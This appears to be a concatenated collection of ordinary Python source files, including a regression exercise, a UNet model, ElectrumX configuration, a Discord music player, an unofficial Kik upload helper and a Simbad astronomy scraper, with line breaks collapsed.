# Exercise OLS (version without functions # Load the data x = [9.55, 9.36, 0.2, 2.06, 5.89, 9.3, 4.74, 2.43, 6.5, 4.77] y = [15.28, 16.16, 1.2, 5.14, 9.82, 13.88, 6.3, 3.71, 9.96, 9] # Let us compute the average of x sum_x = 0 for i in x: sum_x +=i mean_x = sum_x/len(x) # Let us compute the average of y sum_y = 0 for i in y: sum_y +=i mean_y = sum_y/len(y) # Let us compute the numerator and the denominator of the beta estimator: numerator = 0 denominator = 0 for i in range(0,len(x)): # here I use the index for-loop to be able to use both x and y numerator += (y[i]-mean_y)*(x[i]-mean_x) denominator += (x[i]-mean_x)**2 beta = numerator / denominator # Now get the intercept alpha = mean_y - beta * mean_x # Print the output print("Regression analysis y = alpha + beta*x + u") print("------------------------------------------") print("x\t%10.5f" % beta) print("const\t%10.5f" % alpha) print("------------------------------------------")
py
1a4cd7e1169ca714af254f4777a9416f08a153c8
import torch import torch.nn as nn import numpy as np from torchsummary import summary def double_conv(in_c, out_c): block = nn.Sequential(nn.Conv2d(in_c, out_c, kernel_size = 3, bias = False), nn.BatchNorm2d(out_c), nn.ReLU(inplace = True), nn.Conv2d(out_c, out_c, kernel_size = 3, bias = False), nn.BatchNorm2d(out_c), nn.ReLU(inplace = True) ) return block def crop(input, target): input_size = input.size()[2] target_size = target.size()[2] if input_size % 2 != 0: alpha = int(np.ceil((input_size - target_size) / 2)) beta = int((input_size - target_size) / 2) return input[:, :, beta:input_size-alpha, beta:input_size-alpha] delta = (input_size - target_size) // 2 return input[:, :, delta:input_size-delta, delta:input_size-delta] class UNet(nn.Module): def __init__(self, num_classes): super(UNet, self).__init__() self.num_classes = num_classes self.maxpool = nn.MaxPool2d(kernel_size = 2, stride = 2) #Encoder self.down_conv1 = double_conv(in_c = 1, out_c = 64) self.down_conv2 = double_conv(in_c = 64, out_c = 128) self.down_conv3 = double_conv(in_c = 128, out_c = 256) self.down_conv4 = double_conv(in_c = 256, out_c = 512) self.down_conv5 = double_conv(in_c = 512, out_c = 1024) #Decoder self.tconv1 = nn.ConvTranspose2d(in_channels = 1024, out_channels = 512, kernel_size = 2, stride = 2) self.upconv1 = double_conv(in_c = 1024, out_c = 512) self.tconv2 = nn.ConvTranspose2d(in_channels = 512, out_channels = 256, kernel_size = 2, stride = 2) self.upconv2 = double_conv(in_c = 512, out_c = 256) self.tconv3 = nn.ConvTranspose2d(in_channels = 256, out_channels = 128, kernel_size = 2, stride = 2) self.upconv3 = double_conv(in_c = 256, out_c = 128) self.tconv4 = nn.ConvTranspose2d(in_channels = 128, out_channels = 64, kernel_size = 2, stride = 2) self.upconv4 = double_conv(in_c = 128, out_c = 64) self.final = nn.Conv2d(in_channels = 64, out_channels = self.num_classes, kernel_size = 1) def forward(self, x): x1 = self.down_conv1(x) x2 = self.maxpool(x1) x3 = self.down_conv2(x2) x4 = self.maxpool(x3) x5 = self.down_conv3(x4) x6 = self.maxpool(x5) x7 = self.down_conv4(x6) x8 = self.maxpool(x7) x9 = self.down_conv5(x8) y = self.tconv1(x9) y1 = self.upconv1(torch.cat([crop(x7, y),y], dim = 1)) y2 = self.tconv2(y1) y3 = self.upconv2(torch.cat([crop(x5,y2), y2], dim = 1)) y4 = self.tconv3(y3) y5 = self.upconv3(torch.cat([crop(x3,y4), y4], dim = 1)) y6 = self.tconv4(y5) y7 = self.upconv4(torch.cat([crop(x1,y6), y6], dim = 1)) out = self.final(y7) return out def test(): ip = torch.randn((1,1,572,572)) model = UNet(2) print(summary(model, (1, 572, 572), device = 'cpu')) print(model(ip).shape) if __name__ == '__main__': test()
py
1a4cd81bbad7f6e04f3ef8887510c184f68119c7
""" Pydantic schemas for auth tokens. """ from typing import Optional from pydantic import BaseModel class Token(BaseModel): """ Pydantic token schema. When the client requests for an access token, the response is serialized into this schema. """ access_token: str token_type: str class TokenPayload(BaseModel): """ Pydantic token payload schema. This schema is used to deserialize the access token and obtain the user ID from it. The `sub` attribute typically contains the user ID after deserializing the access token. """ sub: Optional[int] = None
py
1a4cd8b1ea487cb5f62015292c9fb171d1b4a1d1
import hashlib import logging import requests import time from threading import Thread from ...kik_unofficial.datatypes.exceptions import KikUploadError from ...kik_unofficial.utilities.cryptographic_utilities import CryptographicUtils from ...kik_unofficial.device_configuration import kik_version_info log = logging.getLogger('kik_unofficial') SALT = "YA=57aSA!ztajE5" def upload_gallery_image(OutgoingChatImage, jid, username, password): url = "https://platform.kik.com/content/files/" + OutgoingChatImage.content_id send(url, OutgoingChatImage, jid, username, password) def send(url, image, jid, username, password): username_passkey = CryptographicUtils.key_from_password(username, password) app_id = "com.kik.ext.gallery" v = SALT + image.content_id + app_id verification = hashlib.sha1(v.encode('UTF-8')).hexdigest() headers = { 'Host': 'platform.kik.com', 'Connection': 'Keep-Alive', 'Content-Length': str(image.parsed['size']), 'User-Agent': f'Kik/{kik_version_info["kik_version"]} (Android 7.1.2) Content', 'x-kik-jid': jid, 'x-kik-password': username_passkey, 'x-kik-verification': verification, 'x-kik-app-id': app_id, 'x-kik-content-chunks': '1', 'x-kik-content-size': str(image.parsed['size']), 'x-kik-content-md5': image.parsed['MD5'], 'x-kik-chunk-number': '0', 'x-kik-chunk-md5': image.parsed['MD5'], 'x-kik-sha1-original': image.parsed['SHA1'].upper(), 'x-kik-sha1-scaled': image.parsed['SHA1Scaled'].upper(), 'x-kik-blockhash-scaled': image.parsed['blockhash'].upper(), 'Content-Type': 'image/jpeg', 'x-kik-content-extension': '.jpg' } # Sometimes Kik's servers throw 5xx when they're having issues, the new thread won't handle the exception Thread( target=content_upload_thread, args=(url, image.parsed['original'], headers), name='KikContent' ).start() def content_upload_thread(url, image, headers): log.debug('Uploading content') r = requests.put(url, data=image, headers=headers) if r.status_code != 200: raise KikUploadError(r.status_code, r.reason)
py
1a4cd8cfb42e16c718175f7eac8dd997909b178a
from wrf import getvar import numpy as np class Variables: data = None def __init__(self, data): self.data = data def get_var(self, var_name): if hasattr(self, var_name) and callable(func := getattr(self, var_name)): return func() else: return getvar(self.data, var_name) def T2(self, h=None): t2_data = getvar(self.data, 'T2') return t2_data - 273.15 def V(self): v10 = getvar(self.data, 'V10') u10 = getvar(self.data, 'U10') return np.sqrt(u10*u10+v10*v10) * 3.6 def slp(self): return getvar(self.data, "slp") def rh2(self): return getvar(self.data, 'rh2') def mdbz(self): return getvar(self.data, 'mdbz') # outvar = getvar(self.data, 'mdbz') # return np.ma.masked_where(outvar < 5, outvar)
py
1a4cd931f33156c838e2c687d1d0099e02b43df4
class Solution: def trap(self, height: List[int]) -> int: n = len(height) l = [0] * n # l[i] := max(height[0..i]) r = [0] * n # r[i] := max(height[i..n)) for i, h in enumerate(height): l[i] = h if i == 0 else max(h, l[i - 1]) for i, h in reversed(list(enumerate(height))): r[i] = h if i == n - 1 else max(h, r[i + 1]) return sum(min(l[i], r[i]) - h for i, h in enumerate(height))
py
1a4cd98f43126167a59b5d972f557bb56be7f333
#!/usr/bin/env python # Copyright (c) Facebook, Inc. and its affiliates. from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import specs.folly as folly import specs.fizz as fizz import specs.sodium as sodium import specs.wangle as wangle import specs.zstd as zstd from shell_quoting import ShellQuoted def fbcode_builder_spec(builder): # This API should change rarely, so build the latest tag instead of master. builder.add_option( 'no1msd/mstch:git_hash', ShellQuoted('$(git describe --abbrev=0 --tags)') ) builder.add_option( 'rsocket/rsocket-cpp/build:cmake_defines', {'BUILD_TESTS': 'OFF'} ) builder.add_option('krb5/krb5:git_hash', 'krb5-1.16.1-final') return { 'depends_on': [folly, fizz, sodium, wangle, zstd], 'steps': [ # This isn't a separete spec, since only fbthrift uses mstch. builder.github_project_workdir('no1msd/mstch', 'build'), builder.cmake_install('no1msd/mstch'), builder.github_project_workdir('krb5/krb5', 'src'), builder.autoconf_install('krb5/krb5'), builder.github_project_workdir( 'rsocket/rsocket-cpp', 'build' ), builder.step('configuration for rsocket', [ builder.cmake_configure('rsocket/rsocket-cpp/build'), ]), builder.cmake_install('rsocket/rsocket-cpp'), builder.fb_github_cmake_install('fbthrift/thrift'), ], }
py
1a4cd9c73b0e54973fd9582b097862a3a10dc43a
# Copyright (c) 2016, Neil Booth # # All rights reserved. # # See the file "LICENCE" for information about the copyright # and warranty status of this software. '''Class for handling environment configuration and defaults.''' import re from ipaddress import IPv4Address, IPv6Address from typing import Type from aiorpcx import Service, ServicePart from electrumx.lib.coins import Coin from electrumx.lib.env_base import EnvBase class ServiceError(Exception): pass class Env(EnvBase): '''Wraps environment configuration. Optionally, accepts a Coin class as first argument to have ElectrumX serve custom coins not part of the standard distribution. ''' # Peer discovery PD_OFF, PD_SELF, PD_ON = ('OFF', 'SELF', 'ON') SSL_PROTOCOLS = {'ssl', 'wss'} KNOWN_PROTOCOLS = {'ssl', 'tcp', 'ws', 'wss', 'rpc'} coin: Type[Coin] def __init__(self, coin=None): super().__init__() self.obsolete(["MAX_SUBSCRIPTIONS", "MAX_SUBS", "MAX_SESSION_SUBS", "BANDWIDTH_LIMIT", "HOST", "TCP_PORT", "SSL_PORT", "RPC_HOST", "RPC_PORT", "REPORT_HOST", "REPORT_TCP_PORT", "REPORT_SSL_PORT", "REPORT_HOST_TOR", "REPORT_TCP_PORT_TOR", "REPORT_SSL_PORT_TOR"]) # Core items self.db_dir = self.required('DB_DIRECTORY') self.daemon_url = self.required('DAEMON_URL') if coin is not None: assert issubclass(coin, Coin) self.coin = coin else: coin_name = self.required('COIN').strip() network = self.default('NET', 'mainnet').strip() self.coin = Coin.lookup_coin_class(coin_name, network) # Peer discovery self.peer_discovery = self.peer_discovery_enum() self.peer_announce = self.boolean('PEER_ANNOUNCE', True) self.force_proxy = self.boolean('FORCE_PROXY', False) self.tor_proxy_host = self.default('TOR_PROXY_HOST', 'localhost') self.tor_proxy_port = self.integer('TOR_PROXY_PORT', None) # Misc self.db_engine = self.default('DB_ENGINE', 'leveldb') self.banner_file = self.default('BANNER_FILE', None) self.tor_banner_file = self.default('TOR_BANNER_FILE', self.banner_file) self.anon_logs = self.boolean('ANON_LOGS', False) self.log_sessions = self.integer('LOG_SESSIONS', 3600) self.log_level = self.default('LOG_LEVEL', 'info').upper() self.donation_address = self.default('DONATION_ADDRESS', '') self.drop_client = self.custom("DROP_CLIENT", None, re.compile) self.drop_client_unknown = self.boolean('DROP_CLIENT_UNKNOWN', False) self.blacklist_url = self.default('BLACKLIST_URL', self.coin.BLACKLIST_URL) self.cache_MB = self.integer('CACHE_MB', 1200) self.reorg_limit = self.integer('REORG_LIMIT', self.coin.REORG_LIMIT) # Server limits to help prevent DoS self.max_send = self.integer('MAX_SEND', self.coin.DEFAULT_MAX_SEND) self.max_sessions = self.sane_max_sessions() self.cost_soft_limit = self.integer('COST_SOFT_LIMIT', 1000) self.cost_hard_limit = self.integer('COST_HARD_LIMIT', 10000) self.bw_unit_cost = self.integer('BANDWIDTH_UNIT_COST', 5000) self.initial_concurrent = self.integer('INITIAL_CONCURRENT', 10) self.request_sleep = self.integer('REQUEST_SLEEP', 2500) self.request_timeout = self.integer('REQUEST_TIMEOUT', 30) self.session_timeout = self.integer('SESSION_TIMEOUT', 600) self.session_group_by_subnet_ipv4 = self.integer('SESSION_GROUP_BY_SUBNET_IPV4', 24) self.session_group_by_subnet_ipv6 = self.integer('SESSION_GROUP_BY_SUBNET_IPV6', 48) self._check_and_fix_cost_limits() # Services last - uses some env vars above self.services = self.services_to_run() if {service.protocol for service in self.services}.intersection(self.SSL_PROTOCOLS): self.ssl_certfile = self.required('SSL_CERTFILE') self.ssl_keyfile = self.required('SSL_KEYFILE') self.report_services = self.services_to_report() def sane_max_sessions(self): '''Return the maximum number of sessions to permit. Normally this is MAX_SESSIONS. However, to prevent open file exhaustion, ajdust downwards if running with a small open file rlimit.''' env_value = self.integer('MAX_SESSIONS', 1000) # No resource module on Windows try: import resource nofile_limit = resource.getrlimit(resource.RLIMIT_NOFILE)[0] # We give the DB 250 files; allow ElectrumX 100 for itself value = max(0, min(env_value, nofile_limit - 350)) if value < env_value: self.logger.warning( f'lowered maximum sessions from {env_value:,d} to ' f'{value:,d} because your open file limit is ' f'{nofile_limit:,d}' ) except ImportError: value = 512 # that is what returned by stdio's _getmaxstdio() return value def _check_and_fix_cost_limits(self): if self.cost_hard_limit < self.cost_soft_limit: raise self.Error(f"COST_HARD_LIMIT must be >= COST_SOFT_LIMIT. " f"got (COST_HARD_LIMIT={self.cost_hard_limit} " f"and COST_SOFT_LIMIT={self.cost_soft_limit})") # hard limit should be strictly higher than soft limit (unless both are 0) if self.cost_hard_limit == self.cost_soft_limit and self.cost_soft_limit > 0: self.logger.info("found COST_HARD_LIMIT == COST_SOFT_LIMIT. " "bumping COST_HARD_LIMIT by 1.") self.cost_hard_limit = self.cost_soft_limit + 1 def _parse_services(self, services_str, default_func): result = [] for service_str in services_str.split(','): if not service_str: continue try: service = Service.from_string(service_str, default_func=default_func) except Exception as e: raise ServiceError(f'"{service_str}" invalid: {e}') from None if service.protocol not in self.KNOWN_PROTOCOLS: raise ServiceError(f'"{service_str}" invalid: unknown protocol') result.append(service) # Find duplicate addresses service_map = {service.address: [] for service in result} for service in result: service_map[service.address].append(service) for address, services in service_map.items(): if len(services) > 1: raise ServiceError(f'address {address} has multiple services') return result def services_to_run(self): def default_part(protocol, part): return default_services.get(protocol, {}).get(part) default_services = {protocol: {ServicePart.HOST: 'all_interfaces'} for protocol in self.KNOWN_PROTOCOLS} default_services['rpc'] = {ServicePart.HOST: 'localhost', ServicePart.PORT: 8000} services = self._parse_services(self.default('SERVICES', ''), default_part) # Find onion hosts for service in services: if str(service.host).endswith('.onion'): raise ServiceError(f'bad host for SERVICES: {service}') return services def services_to_report(self): services = self._parse_services(self.default('REPORT_SERVICES', ''), None) for service in services: if service.protocol == 'rpc': raise ServiceError(f'bad protocol for REPORT_SERVICES: {service.protocol}') if isinstance(service.host, (IPv4Address, IPv6Address)): ip_addr = service.host if (ip_addr.is_multicast or ip_addr.is_unspecified or (ip_addr.is_private and self.peer_announce)): raise ServiceError(f'bad IP address for REPORT_SERVICES: {ip_addr}') elif service.host.lower() == 'localhost': raise ServiceError(f'bad host for REPORT_SERVICES: {service.host}') return services def peer_discovery_enum(self): pd = self.default('PEER_DISCOVERY', 'on').strip().lower() if pd in ('off', ''): return self.PD_OFF elif pd == 'self': return self.PD_SELF else: return self.PD_ON
py
1a4cd9d169ff1a9187a9abcd7baede768ce3ce02
""" MIT License Copyright (c) 2019-2021 naoTimesdev Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from __future__ import annotations import asyncio import logging from math import ceil from typing import TYPE_CHECKING, Dict, List, Optional, Union import arrow import wavelink from discord.channel import StageChannel, VoiceChannel from discord.colour import Colour from discord.embeds import Embed from wavelink import Player from wavelink.errors import NodeOccupied, NoMatchingNode from wavelink.ext import spotify from wavelink.tracks import YouTubeTrack from wavelink.utils import MISSING from naotimes.timeparse import TimeString from .errors import UnsupportedURLFormat from .queue import ( GuildMusicInstance, TrackEntry, TrackQueueAll, TrackQueueImpl, TrackQueueSingle, TrackRepeat, ) from .track import ( BandcampDirectLink, SoundcloudDirectLink, SpotifyDirectTrack, SpotifyTrack, TwitchDirectLink, YoutubeDirectLinkTrack, ) if TYPE_CHECKING: from discord.guild import Guild from discord.member import Member from naotimes.bot import naoTimesBot from naotimes.config import naoTimesLavanodes __all__ = ( "naoTimesPlayer", "format_duration", ) RealTrack = Union[YouTubeTrack, YoutubeDirectLinkTrack, SpotifyTrack] VocalChannel = Union[VoiceChannel, StageChannel] def format_duration(duration: float): hours = duration // 3600 duration = duration % 3600 minutes = duration // 60 seconds = duration % 60 minutes = str(int(round(minutes))).zfill(2) seconds = str(int(round(seconds))).zfill(2) if hours >= 1: hours = str(int(round(hours))).zfill(2) return f"{hours}:{minutes}:{seconds}" return f"{minutes}:{seconds}" class naoTimesPlayer: def __init__( self, client: naoTimesBot, loop: asyncio.AbstractEventLoop = None, spotify_client: spotify.SpotifyClient = None, ): self.logger = logging.getLogger("naoTimes.MusicPlayer") self._active_guilds: Dict[int, GuildMusicInstance] = {} self._client = client # Use single spotify client for all players self._spotify = spotify_client self._loop: asyncio.AbstractEventLoop = loop or asyncio.get_event_loop() def __del__(self): self._loop.create_task(self.close(), name="naotimes-player-close-all-players") @property def actives(self): return self._active_guilds async def close(self): self.logger.info("Closing all instances...") channel_ids = [instance.channel.id for instance in self._active_guilds.values() if instance.channel] for vc_instance in self._client.voice_clients: vc_instance: Player if vc_instance.channel.id in channel_ids: await vc_instance.disconnect(force=True) self.logger.info("Disconnecting nodes...") for node in wavelink.NodePool._nodes.copy().values(): await node.disconnect(force=True) await self._spotify.session.close() async def add_node(self, node: naoTimesLavanodes): try: self.logger.info(f"Trying to connect with node <{node.identifier}>...") await wavelink.NodePool.create_node( bot=self._client, host=node.host, port=node.port, password=node.password, region=node.region, identifier=node.identifier, spotify_client=self._spotify, ) except NodeOccupied: self.logger.warning(f"Node <{node.identifier}> is already occupied or registered.") async def remove_node(self, identifier: str): try: node = wavelink.NodePool.get_node(identifier=identifier) await node.disconnect(force=False) except NoMatchingNode: self.logger.warning(f"Node <{identifier}> is not registered.") def _get_id(self, vc: Union[Player, Guild]) -> int: if hasattr(vc, "guild"): return vc.guild.id else: return vc.id def create(self, vc: Union[Guild, Player]): guild_id = self._get_id(vc) if guild_id not in self._active_guilds: track_queue = TrackQueueImpl() self._active_guilds[guild_id] = GuildMusicInstance(track_queue) def has(self, vc: Union[Player, Guild]) -> bool: if hasattr(vc, "guild"): return vc.guild.id in self._active_guilds elif hasattr(vc, "id"): return vc.id in self._active_guilds return False def get(self, vc: Union[Guild, Player]) -> GuildMusicInstance: self.create(vc) return self._active_guilds[self._get_id(vc)] def set(self, vc: Union[Guild, Player], instance: GuildMusicInstance): self._active_guilds[self._get_id(vc)] = instance def get_tracks(self, vc: Union[Player, Guild]) -> List[TrackEntry]: all_tracks: List[TrackEntry] = [] for track in self.get(vc).queue._queue: all_tracks.append(track) return all_tracks def delete(self, vc: Union[Player, Guild]): if self.has(vc): del self._active_guilds[self._get_id(vc)] def delete_track(self, vc: Union[Player, Guild], index: int): try: queue = self.get(vc) if queue.repeat == TrackRepeat.single: return True self.logger.info(f"Player: Trying to remove track [{index}] at <{vc.guild}>") del queue.queue._queue[index] return True except Exception as e: self.logger.error(f"Player: Failed to remove track [{index}] at <{vc.guild}>", exc_info=e) return False def clear(self, vc: Union[Player, Guild]): guild_id = self._get_id(vc) self._active_guilds[guild_id].queue.clear() async def enqueue(self, vc: Player, entries: Union[TrackEntry, List[TrackEntry]]): if not isinstance(entries, list): entries = [entries] queue = self.get(vc) guild_id = self._get_id(vc) for entry in entries: track = entry.track self.logger.info(f"Player: Enqueueing at guild <{guild_id}>: {track.title} by {track.author}") await queue.queue.put(entry) self._active_guilds[guild_id] = queue def _set_current(self, vc: Player, track: Optional[TrackEntry] = None) -> None: self.get(vc).current = track def change_dj(self, vc: Player, user: Member): self.get(vc).host = user def set_channel(self, vc: Player, channel: VocalChannel): self.get(vc).channel = channel def reset_vote(self, vc: Player): self.get(vc).skip_votes.clear() def add_vote(self, vc: Player, user: Member): self.get(vc).skip_votes.add(user) def change_repeat_mode(self, vc: Player, mode: TrackRepeat) -> Optional[GuildMusicInstance]: queue = self.get(vc) if queue.repeat == mode: return None queue.repeat = mode if mode == TrackRepeat.single: queue.queue = TrackQueueSingle.from_other(queue.queue) elif mode == TrackRepeat.all: queue.queue = TrackQueueAll.from_other(queue.queue) elif mode == TrackRepeat.disable: queue.queue = TrackQueueImpl.from_other(queue.queue) self._active_guilds[self._get_id(vc)] = queue return queue def get_requirements(self, vc: Player) -> int: in_voice = vc.channel.members # 40% need to vote to skip. required = ceil(len(in_voice) * 0.4) return required def generate_track_embed(self, entry: TrackEntry, position: int = MISSING) -> Embed: embed = Embed(colour=Colour.from_rgb(78, 214, 139), timestamp=arrow.utcnow().datetime) embed.set_author(name="Diputar 🎵", icon_url=self._client.user.avatar) description = [] track = entry.track track_url = track.uri if hasattr(track, "internal_id"): track_url = f"https://open.spotify.com/track/{track.internal_id}" description.append(f"[{track.title}]({track_url})") if track.author: description.append(f"**Artis**: {track.author}") if hasattr(track, "description") and track.description: description.append(f"\n{track.description}") embed.description = "\n".join(description) embed.add_field(name="Diputar oleh", value=f"{entry.requester.mention}", inline=True) durasi = TimeString.from_seconds(int(ceil(track.duration))) if position is MISSING: embed.add_field(name="Durasi", value=durasi.to_string(), inline=True) else: posisi = format_duration(position) durasi = format_duration(track.duration) embed.add_field(name="Durasi", value=f"{posisi}/{durasi}", inline=True) internal_thumb = getattr(track, "_int_thumbnail", None) if internal_thumb: embed.set_thumbnail(url=internal_thumb) elif isinstance(track, YouTubeTrack): embed.set_thumbnail(url=f"https://i.ytimg.com/vi/{track.identifier}/maxresdefault.jpg") return embed async def _fetch_track_queue(self, player: Player): """Fetch a track from the queue""" try: queue = self.get(player) return await queue.queue.get() except asyncio.CancelledError: return None async def search_track(self, query: str, node: wavelink.Node): if query.startswith("http"): if "spotify.com" in query: track_mode = spotify.SpotifySearchType.track if "/album" in query: track_mode = spotify.SpotifySearchType.album elif "/playlist" in query: track_mode = spotify.SpotifySearchType.playlist spoti_results = await SpotifyDirectTrack.search( query, type=track_mode, node=node, spotify=self._spotify, return_first=False ) return spoti_results elif "soundcloud.com" in query: soundcloud_tracks = await SoundcloudDirectLink.search(query, node=node) return soundcloud_tracks elif "bandcamp.com" in query: bandcamp_tracks = await BandcampDirectLink.search(query, node=node) return bandcamp_tracks elif "vimeo.com" in query: raise UnsupportedURLFormat(query, "Vimeo tidak didukung untuk sekarang!") elif "twitch.tv" in query: ttv_results = await TwitchDirectLink.search(query, node=node, return_first=True) return ttv_results else: return_first = "/playlist" not in query results = await YoutubeDirectLinkTrack.search( query, node=node, return_first=return_first, ) return results results = await YouTubeTrack.search(query, node=node, return_first=False) for result in results: setattr(result, "source", "youtube") return results # Listeners # Call to this function later :) async def play_next(self, player: Player): self._set_current(player, None) # Try to get new track. try: self.logger.info(f"Player: <{player.guild}> trying to enqueue new track... (5 minutes timeout)") new_track = await asyncio.wait_for(self._fetch_track_queue(player), timeout=300) except asyncio.TimeoutError: # No more tracks, clear queue and stop player. self.logger.info(f"Player: <{player.guild}> no more tracks, clearing queue and stopping player.") self.delete(player) await player.disconnect(force=True) return if new_track is None: self.logger.info(f"Player: <{player.guild}> no more tracks, clearing queue and stopping player.") self.delete(player) await player.disconnect(force=True) return self.reset_vote(player) self.logger.info(f"Player: <{player.guild}> got new track: {new_track.track}") self._set_current(player, new_track) try: await player.play(new_track.track) except Exception as e: # Dispatch failed to play event self._client.dispatch("naotimes_playback_failed", player, new_track, e) return wrapped_entry = TrackEntry(player.source, new_track.requester, new_track.channel) self._set_current(player, wrapped_entry)
py
1a4cda53f253529ab4f322a9636180d5c0b5f8bd
# -*- coding: Latin-1 -*- ''' From Marc-Antoine Martinod No particular license or rights, you can change it as you feel, just be honest. :) For python puritain, sorry if this script is not "pythonic". ''' ''' This script picks up the magnitudes and the spectral type from Simbad website. *How to use it: ***In variable "path", put the path of the repo where you have the XMLs. ***Run the script *Structure: ***HTMLparser class to extract information from a webpage. ***Two main functions : magnitude : pick up magnitudes from Simbad spectralType : pick up spectral type from Simbad, it is currently commented because I don't need to run it at the moment. ***A list generator function : create a file containing the name of the XML files in "path". *Logs: ***Log_planet.txt has all files for which there was a 404 error. This file is not reset when the script is rerun. It works for both functions. *Troubleshooting: ***If Simbad don't recognize this name, either you search manually or you create a list with the other names for a system (Kepler, 2MASS...) and you rename the file with this name to let the script writing in it. *Improvements: ***You can improve this script by a multi-name recognition :for a system, if there is a 404 error on simbad web page the script can try another name picked up in the XMLs and try it. This would avoid to make a manual reasearch or rename the files, recreate a list and rerun the script. ***There can be a problem with binaries system. Simbad always has only SP (spectral type) and mag for one star (don't know which) or the whole system but if this information exists for each star of a binary system, this script doesn't deal with it. ***Adapt it for other kind of extraction or for other website. ''' from HTMLParser import HTMLParser import urllib import re import os import glob import time class MyHTMLParser(HTMLParser):#HTML parser to get the information from the webpage def handle_starttag(self, tag, attrs): #get start tag and may store its attributes global boolean, dictio, data2 if boolean == 1:# and tag == "a": dictio.append(data2) boolean = 0 def handle_endtag(self, tag): pass def handle_data(self, data): global data2, boolean, spectre if re.findall("[A-Z] *\d*\.?\d*? *\[+.+\]", data):#Search magnitude data2 = data data2 = data2.replace("\n", "").replace(" ","") boolean = 1 #set magnitude values in XML file def magnitude(dic, filename, path): #The idea is to read the file to have a big string then concatenate the magnitudes then rewrite the whole file if os.path.isfile(path+"/"+filename+".xml"): with open(path+"/"+filename+".xml","r") as readable: read_file = readable.read() tabulation = "" #positionning the magnitudes in the file if "</magV>" in read_file: elt_index = read_file.index("</magV>") elt_len = len("</magV>") if "<binary>" in read_file: tabulation = "\t" elif "<binary>" in read_file: elt_index = read_file.index("<binary>") elt_len = len("<binary>") else: elt_index = read_file.index("<star>") elt_len = len("<star>") with open(path+"/"+filename+".xml", "w") as writable:#Write mag in the file dic2 = dic dic2.sort() magJ = "" magH = "" magK = "" magV = "" magB = "" magR = "" magI = "" for key in dic2:#concatenate magnitudes in the string from XML expr = key if not "[~]" in expr: sigma = re.findall('\[+.+\]', expr) sigma = str(sigma[0].replace('[','').replace(']','')) else: sigma = "" expr = re.sub('\[+.+\]', '', expr)#Remove uncertainty from string expr2 = re.sub('[A-Z]', '', expr)#Remove letters from string, just mag left. if "J" in expr and not "magJ" in read_file: if sigma != "": magJ = "\n"+tabulation+"\t\t<magJ errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magJ>" else: magJ = "\n"+tabulation+"\t\t<magJ>"+expr2+"</magJ>" elif "H" in expr and not "magH" in read_file: if sigma != "": magH = "\n"+tabulation+"\t\t<magH errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magH>" else: magH = "\n"+tabulation+"\t\t<magH>"+expr2+"</magH>" elif "K" in expr and not "magK" in read_file: if sigma != "": magK = "\n"+tabulation+"\t\t<magK errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magK>" else: magK = "\n"+tabulation+"\t\t<magK>"+expr2+"</magK>" elif "V" in expr and not "magV" in read_file: if sigma != "": magV = "\n"+tabulation+"\t\t<magV errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magV>" else: magV = "\n"+tabulation+"\t\t<magV>"+expr2+"</magV>" elif "B" in expr and not "magB" in read_file: if sigma != "": magB = "\n"+tabulation+"\t\t<magB errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magB>" else: magB = "\n"+tabulation+"\t\t<magB>"+expr2+"</magB>" elif "R" in expr and not "magR" in read_file: if sigma != "": magR = "\n"+tabulation+"\t\t<magR errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magR>" else: magR = "\n"+tabulation+"\t\t<magR>"+expr2+"</magR>" elif "I" in expr and not "magI" in read_file: if sigma != "": magI = "\n"+tabulation+"\t\t<magI errorminus=\""+sigma+"\" errorplus=\""+sigma+"\">"+expr2+"</magI>" else: magI = "\n"+tabulation+"\t\t<magI>"+expr2+"</magI>" #check if mag already exists or not on simbad if magJ != "" or magH != "" or magK != "" or magV != "" or magB != "" or magR != "" or magI != "": print elt,"\t mag done." else: print elt," Mag error or already exists." read_file = read_file[0:elt_index+elt_len]+magB+magV+magR+magI+magJ+magH+magK+read_file[elt_index+elt_len:] writable.write(read_file) else: print filename," not found." #set spectral type in the XML file. def spectralType(spectre, filename, path): #Check if the file exists if os.path.isfile(path+"/"+filename+".xml"): with open(path+"/"+filename+".xml","r") as readable: read_file = readable.read() tabulation = "" back_line = "" #Positionning of the information in the file. if not "<binary>" in read_file: if not "<spectraltype>" in read_file: elt_index = read_file.index("<star>") elt_len = len("<star>") back_line = "\n" #Writing the SP (spectral type) in the file with open(path+"/"+filename+".xml","w") as writable: spectre = back_line+"\t\t"+tabulation+"<spectraltype>"+spectre+"</spectraltype>" read_file = read_file[0:elt_index+elt_len]+spectre+read_file[elt_index+elt_len:] writable.write(read_file) print filename+"\tSP done." else: print filename, " has already a spectral type." else: print filename, " is a binary system." log.write(filename+"\t:\tbinary system\n") else: print filename, "not found." #Another script exists for that. Splitting the two functions lets me to control #the list is in correct format and won't bring any troubles. #However, as it is a copy/paste of the script, it should work. def generateList(path): planet_list = open("list.txt", "w") for filename in glob.glob(path+"/*.xml"): # Open file name = os.path.split(filename) name = name[1] name = name.replace(".xml","") planet_list.write(name+"\n") planet_list.close() #****************************MAIN********************************* parser = MyHTMLParser() path = "systems_kepler" generateList(path) system_list = open("list.txt","r") #list of the systems to process line = system_list.readlines() line = [elt.replace('\n','') for elt in line] log = open("log_planet.log", "a")#log 404 web error and binary systems error 